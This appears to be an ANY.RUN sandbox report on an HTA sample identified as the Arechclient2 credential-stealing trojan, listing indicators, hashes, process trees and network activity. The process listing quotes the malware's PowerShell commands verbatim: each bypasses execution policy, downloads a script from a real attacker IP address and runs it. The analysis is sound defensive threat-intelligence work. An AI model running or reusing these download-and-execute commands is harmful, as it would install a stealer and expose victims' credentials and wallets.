File name:

cdn.semifinal-matching.coupons_sample.hta

Full analysis: https://app.any.run/tasks/7bde6203-994b-431c-8431-5db45c4757af
Verdict: Malicious activity
Threats:

The Arechclient2 malware is a sophisticated .NET-based Remote Access Trojan (RAT) that collects sensitive information, such as browser credentials, from infected computers. It employs various stealth techniques, including Base64 encoding to obscure its code and the ability to pause activities to evade automated security tools. The malware also can adjust Windows Defender settings and uses code injection to manipulate legitimate processes.

Malware Trends Tracker     >>>
Analysis date: February 18, 2026, 16:47:00
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
github
stealer
arch-exec
arch-doc
python
susp-powershell
xor-url
generic
arechclient2
rat
backdoor
Indicators:
MIME: application/zip
File info: Zip archive, with extra data prepended
MD5:

6972EA93AB927A279D98240A0DE6BE0F

SHA1:

10893DC1B028427E59AFA5A9BFB5A2FA41356246

SHA256:

143A5B5C78FE71F2C0883A6A959937938B6288A15AC5CB031D35472B413A6C48

SSDEEP:

49152:P9klidWCAuYfqIBJDQSr4dHdIZNmbVcqJkxvw0zOzPOTEPpywkCJvqxLL/ydRuqR:elidkuYqIBJkW8HdIZUV1uxI0j6Uwkyj

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses base64 encoding (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Access Task Scheduler's settings (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Gets context to execute command-line operations (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Gets or sets visibliity for the scheduled task (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Gets security context of the user (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Creates a new scheduled task (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 8472)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 8472)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 8472)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 8472)

    • PowerShell executes remote file download (POWERSHELL)

      • powershell.exe (PID: 8472)

    • Steals credentials from Web Browsers

      • powershell.exe (PID: 8472)

    • Actions looks like stealing of personal data

      • powershell.exe (PID: 8472)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 8472)

    • Modifies registry (POWERSHELL)

      • powershell.exe (PID: 1860)

    • XORed URL has been found (YARA)

      • tpm2emu.exe (PID: 3716)

    • ARECHCLIENT2 has been detected (YARA)

      • tpm2emu.exe (PID: 3716)

  • SUSPICIOUS

    • Gets scheduled task context (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Gets context to manipulate scheduled tasks (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Gets or sets the principal for the task (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Sets XML DOM element text (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Accesses Scheduled Task settings (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Creates XML DOM element (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Accesses object representing scheduled task trigger (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Gets a folder of registered tasks (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Gets context to manipulate triggers of a scheduled task (SCRIPT)

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • The process executes via Task Scheduler

      • powershell.exe (PID: 9040)

    • Converts a string into array of characters (POWERSHELL)

      • powershell.exe (PID: 9040)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 8472)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 9040)
      • powershell.exe (PID: 8472)

    • Creates new GUID (POWERSHELL)

      • powershell.exe (PID: 8472)
      • powershell.exe (PID: 9040)

    • Creates an instance of the specified .NET type (POWERSHELL)

      • powershell.exe (PID: 8472)

    • Writes data to a memory stream (POWERSHELL)

      • powershell.exe (PID: 8472)

    • Possible stealing from password managers

      • powershell.exe (PID: 8472)

    • Possible stealing of email data

      • powershell.exe (PID: 8472)

    • Possible stealing of messenger data

      • powershell.exe (PID: 8472)

    • Possible stealing from browsers

      • powershell.exe (PID: 8472)

    • Possible stealing of cloud data

      • powershell.exe (PID: 8472)

    • Possible stealing of FTP data

      • powershell.exe (PID: 8472)

    • Possible stealing of VPN data

      • powershell.exe (PID: 8472)

    • Application launched itself

      • powershell.exe (PID: 8472)

    • Possible stealing from 2fa

      • powershell.exe (PID: 8472)

    • Found IP address in command line

      • powershell.exe (PID: 5500)
      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 5500)
      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 8472)

    • Possible stealing from crypto wallets

      • powershell.exe (PID: 8472)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 5500)
      • powershell.exe (PID: 8660)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 5500)
      • powershell.exe (PID: 8660)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 8660)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)

    • Gets path to any of the special folders (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)

    • Possible path obfuscation (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)

    • Process drops python dynamic module

      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)

    • Loads Python modules

      • tpm2emu.exe (PID: 3716)
      • ls_crashpad_handler.exe (PID: 6072)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)

    • Drops script file

      • mshta.exe (PID: 6980)
      • mshta.exe (PID: 6756)
      • powershell.exe (PID: 9040)
      • powershell.exe (PID: 8472)
      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 5500)

    • Manual execution by a user

      • mshta.exe (PID: 6756)

    • Disables trace logs

      • powershell.exe (PID: 9040)
      • powershell.exe (PID: 8472)
      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 5500)
      • tpm2emu.exe (PID: 3716)

    • Checks proxy server information

      • powershell.exe (PID: 9040)
      • powershell.exe (PID: 8472)
      • slui.exe (PID: 3276)
      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 5500)
      • tpm2emu.exe (PID: 3716)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 8472)
      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 5500)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 8472)
      • powershell.exe (PID: 9040)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 8472)
      • powershell.exe (PID: 5500)

    • Creates or changes the value of an item property via Powershell

      • powershell.exe (PID: 9040)

    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 5500)
      • powershell.exe (PID: 8660)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 1860)

    • User-Agent configuration (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5500)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)

    • The sample compiled with english language support

      • powershell.exe (PID: 8660)
      • powershell.exe (PID: 1860)

    • Found Base64 encoded access to environment variables via PowerShell (YARA)

      • powershell.exe (PID: 1860)

    • Python executable

      • tpm2emu.exe (PID: 3716)
      • ls_crashpad_handler.exe (PID: 6072)

    • The executable file from the user directory is run by the Powershell process

      • tpm2emu.exe (PID: 3716)
      • ls_crashpad_handler.exe (PID: 6072)

    • Checks supported languages

      • tpm2emu.exe (PID: 3716)
      • ls_crashpad_handler.exe (PID: 6072)

    • Reads the computer name

      • tpm2emu.exe (PID: 3716)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 1860)
      • powershell.exe (PID: 8660)

    • Reads the machine GUID from the registry

      • tpm2emu.exe (PID: 3716)

    • Reads Environment values

      • tpm2emu.exe (PID: 3716)

    • Creates files or folders in the user directory

      • ls_crashpad_handler.exe (PID: 6072)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

xor-url

(PID) Process(3716) tpm2emu.exe
Decrypted-URLs (14)http://dl.google.com/chrome/install/375.126/chrome_installer.exe]
https://bsc-dataseed1.binance.org/
https://bsc-dataseed1.defibit.io/
https://bsc-dataseed1.ninicoin.io/O
https://bsc-dataseed2.binance.org/0
https://bsc-dataseed2.defibit.io/
https://bsc-dataseed2.ninicoin.io/
https://bsc-dataseed3.binance.org/
https://bsc-dataseed3.defibit.io/
https://bsc-dataseed3.ninicoin.io/
https://bsc-dataseed4.binance.org/A
https://bsc-dataseed4.defibit.io/k
https://bsc-dataseed4.ninicoin.io/
https://github.com
No Malware configuration.
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
168
Monitored processes
17
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start mshta.exe no specs slui.exe mshta.exe no specs powershell.exe conhost.exe no specs powershell.exe conhost.exe no specs chrome.exe no specs chrome.exe no specs msedge.exe no specs msedge.exe no specs powershell.exe powershell.exe powershell.exe #ARECHCLIENT2 tpm2emu.exe ls_crashpad_handler.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
1116\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1860powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create([IO.StreamReader]::new([Net.HttpWebRequest]::Create('http://194.150.220.218/4SLEYpfAk57hGubo/nu6wyj9sur2.psd').GetResponse().GetResponseStream()).ReadToEnd()))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
2292C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
3036"C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe—powershell.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
133.0.6943.127
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
3276C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
3652"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Exit code:
0
Version:
133.0.3065.92
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\133.0.3065.92\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3716"C:\Users\admin\AppData\Roaming\Microsoft\Media\Decoder64\34963d467d19fadc\tpm2emu.exe" "C:\Users\admin\AppData\Roaming\Microsoft\Media\Decoder64\34963d467d19fadc\node_modules.asar"C:\Users\admin\AppData\Roaming\Microsoft\Media\Decoder64\34963d467d19fadc\tpm2emu.exe
powershell.exe
User:
admin
Company:
Python Software Foundation
Integrity Level:
MEDIUM
Description:
Python
Version:
3.14.3
Modules
Images
c:\users\admin\appdata\roaming\microsoft\media\decoder64\34963d467d19fadc\tpm2emu.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\users\admin\appdata\roaming\microsoft\media\decoder64\34963d467d19fadc\vcruntime140.dll
c:\users\admin\appdata\roaming\microsoft\media\decoder64\34963d467d19fadc\python314.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
xor-url
(PID) Process(3716) tpm2emu.exe
Decrypted-URLs (14)http://dl.google.com/chrome/install/375.126/chrome_installer.exe]
https://bsc-dataseed1.binance.org/
https://bsc-dataseed1.defibit.io/
https://bsc-dataseed1.ninicoin.io/O
https://bsc-dataseed2.binance.org/0
https://bsc-dataseed2.defibit.io/
https://bsc-dataseed2.ninicoin.io/
https://bsc-dataseed3.binance.org/
https://bsc-dataseed3.defibit.io/
https://bsc-dataseed3.ninicoin.io/
https://bsc-dataseed4.binance.org/A
https://bsc-dataseed4.defibit.io/k
https://bsc-dataseed4.ninicoin.io/
https://github.com
5500powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create([IO.StreamReader]::new([Net.HttpWebRequest]::Create('http://194.150.220.218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf').GetResponse().GetResponseStream()).ReadToEnd()))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
6072"C:\Users\admin\AppData\Roaming\Portmaster\Runtime\CLRHost\6c1ed414bfb233a2\ls_crashpad_handler.exe" "C:\Users\admin\AppData\Roaming\Portmaster\Runtime\CLRHost\6c1ed414bfb233a2\node_modules.asar"C:\Users\admin\AppData\Roaming\Portmaster\Runtime\CLRHost\6c1ed414bfb233a2\ls_crashpad_handler.exe
powershell.exe
User:
admin
Company:
Python Software Foundation
Integrity Level:
MEDIUM
Description:
Python
Version:
3.14.3
Modules
Images
c:\users\admin\appdata\roaming\portmaster\runtime\clrhost\6c1ed414bfb233a2\ls_crashpad_handler.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\ucrtbase.dll
c:\users\admin\appdata\roaming\portmaster\runtime\clrhost\6c1ed414bfb233a2\vcruntime140.dll
6756"C:\Windows\SysWOW64\mshta.exe" "C:\Users\admin\Desktop\cdn.semifinal-matching.coupons_sample.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} C:\Windows\SysWOW64\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
Total events
44 697
Read events
44 663
Write events
34
Delete events
0

Modification events

(PID) Process:(6980) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6980) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6980) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6756) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6756) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6756) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(8472) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(8472) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(8472) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(8472) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
Executable files
28
Suspicious files
6
Text files
43
Unknown types
1

Dropped files

PID
Process
Filename
Type
9040powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pqfyhqmw.c4a.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
9040powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:8D5ECF10DD2BA71D2BFB5CD8CFADB9AE
SHA256:A5A949112D864B60F35497D53E4FA72BF71E506CF8B0E3ED9E01F413FCCA1D3C
9040powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dyoj3d4h.vu5.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8472powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4z4fyx3w.ooz.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5500powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hfvcbjnf.m54.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1860powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_v3tig0wd.o2w.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8472powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:73DA691BE57F4AE36A8B809B5DBBCE1F
SHA256:BF1B97E69A706AF90F4F4D0D3CD14901DD5444263A0F936D64A25557D29E3A38
8660powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kvd3orm1.v0e.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5500powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1sqw0tuc.i1y.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5500powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ds0ajw3d.nik.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
135
TCP/UDP connections
115
DNS requests
40
Threats
9

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6768
MoUsoCoreWorker.exe
GET
304
20.73.194.208:443
https://settings-win.data.microsoft.com/settings/v3.0/OneSettings/Client?OSVersionFull=10.0.19045.4046.amd64fre.vb_release.191206-1406&LocalDeviceID=s%3ABAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&FlightRing=Retail&AttrDataVer=186&OSUILocale=en-US&OSSkuId=48&App=WOSC&AppVer=&IsFlightingEnabled=0&TelemetryLevel=1&DeviceFamily=Windows.Desktop
US
—
—
whitelisted
876
svchost.exe
GET
304
20.73.194.208:443
https://settings-win.data.microsoft.com/settings/v3.0/WSD/UpdateHealthTools?os=Windows&osVer=10.0.19041.1.amd64fre.vb_release.191206-&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=s:BAD99146-31D3-4EC6-A1A4-BE76F32BA5D4&sampleId=s:95271487&appVer=10.0.19041.3626&FlightRing=Retail&TelemetryLevel=1&HidOverGattReg=C%3A%5CWINDOWS%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_9610b4821fdf82a5%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&AppVer=&ProcessorIdentifier=AMD64%20Family%2023%20Model%201%20Stepping%202&OEMModel=DELL&UpdateOfferedDays=4294967295&ProcessorManufacturer=AuthenticAMD&InstallDate=1661339444&OEMModelBaseBoard=&BranchReadinessLevel=CB&OEMSubModel=J5CR&IsCloudDomainJoined=0&DeferFeatureUpdatePeriodInDays=30&IsDeviceRetailDemo=0&FlightingBranchName=&OSUILocale=en-US&DeviceFamily=Windows.Desktop&WuClientVer=10.0.19041.3996&UninstallActive=1&IsFlightingEnabled=0&OSSkuId=48&ProcessorClockSpeed=3094&TotalPhysicalRAM=6144&SecureBootCapable=0&App=SedimentPack&ProcessorCores=6&CurrentBranch=vb_release&InstallLanguage=en-US&DeferQualityUpdatePeriodInDays=0&OEMName_Uncleaned=DELL&TPMVersion=0&PrimaryDiskTotalCapacity=262144&InstallationType=Client&AttrDataVer=186&ProcessorModel=AMD%20Ryzen%205%203500%206-Core%20Processor&IsEdgeWithChromiumInstalled=1&OSVersion=10.0.19045.4046&IsMDMEnrolled=0&ActivationChannel=Retail&FirmwareVersion=A.40&TrendInstalledKey=1&OSArchitecture=AMD64&DefaultUserRegion=244&UpdateManagementGroup=2
US
—
—
whitelisted
3388
SIHClient.exe
GET
304
74.178.76.128:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
US
—
—
whitelisted
3388
SIHClient.exe
GET
200
20.242.39.171:443
https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping
US
—
—
whitelisted
3388
SIHClient.exe
GET
200
74.178.76.128:443
https://slscr.update.microsoft.com/sls/ping
US
—
—
whitelisted
3388
SIHClient.exe
GET
304
74.178.76.128:443
https://slscr.update.microsoft.com/SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
US
—
—
whitelisted
356
svchost.exe
POST
200
20.190.159.64:443
https://login.live.com/RST2.srf
US
xml
11.1 Kb
whitelisted
356
svchost.exe
POST
200
20.190.159.64:443
https://login.live.com/RST2.srf
US
xml
10.3 Kb
whitelisted
876
svchost.exe
GET
200
23.59.18.102:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
US
binary
814 b
whitelisted
876
svchost.exe
GET
200
184.24.77.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
NL
binary
825 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
876
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:137
—
Not routed
—
whitelisted
7544
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
3412
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:138
—
Not routed
—
whitelisted
356
svchost.exe
20.190.159.64:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
356
svchost.exe
162.159.142.9:80
ocsp.digicert.com
CLOUDFLARENET
US
whitelisted
876
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
876
svchost.exe
184.24.77.12:80
crl.microsoft.com
AKAMAI-ASN1
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
  • 20.73.194.208
whitelisted
self.events.data.microsoft.com
  • 20.42.65.90
  • 20.50.73.4
whitelisted
google.com
  • 142.251.140.174
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
login.live.com
  • 20.190.159.64
  • 40.126.31.0
  • 20.190.159.75
  • 20.190.159.73
  • 40.126.31.73
  • 40.126.31.2
  • 40.126.31.129
